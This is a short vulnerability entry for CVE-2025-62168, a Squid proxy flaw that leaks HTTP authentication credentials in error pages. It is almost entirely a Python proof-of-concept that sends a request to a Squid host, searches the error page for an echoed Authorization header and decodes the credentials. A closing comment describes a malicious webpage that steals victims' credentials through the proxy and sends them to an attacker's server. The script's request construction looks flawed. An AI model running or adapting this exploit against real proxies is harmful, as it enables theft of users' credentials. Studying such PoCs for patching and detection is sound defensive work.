CVE-2025-62168 Squid代理HTTP认证凭据信息泄露漏洞

# CVE-2025-62168 PoC - Squid HTTP Authentication Credentials Disclosure # This PoC demonstrates how an attacker can extract HTTP authentication # credentials leaked through Squid's error pages. import requests import base64 # Target Squid proxy PROXY_URL = "http://target-squid-proxy:3128" # Step 1: Craft a request that will trigger Squid's error page # containing leaked authentication headers target_url = f"{PROXY_URL}/nonexistent-resource-that-triggers-error" # Step 2: Include Authorization header with victim's credentials # (In a real attack, the victim's browser would automatically include this) victim_credentials = base64.b64encode(b"admin:password123").decode() headers = { "Authorization": f"Basic {victim_credentials}", "User-Agent": "Mozilla/5.0 (compatible; AttackerBot/1.0)" } # Step 3: Send the request - Squid will return an error page # that includes the full request headers including Authorization try: response = requests.get(target_url, headers=headers, timeout=10) # Step 4: Extract leaked credentials from the error page if "Authorization" in response.text: print("[!] Vulnerability confirmed - Authorization header leaked!") # Parse the leaked authorization header for line in response.text.split("\n"): if "Authorization" in line: print(f"[+] Leaked header: {line.strip()}") # Extract and decode the credentials leaked_auth = line.split(":")[-1].strip() if "Basic" in leaked_auth: decoded = base64.b64decode(leaked_auth.split()[-1]) print(f"[+] Decoded credentials: {decoded.decode()}") else: print("[-] Authorization header not found in response") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Note: A real-world attack would use a malicious webpage that causes # the victim's browser to make requests through the Squid proxy, # then use JavaScript to read the error page content and exfiltrate # the credentials via the attacker's server.
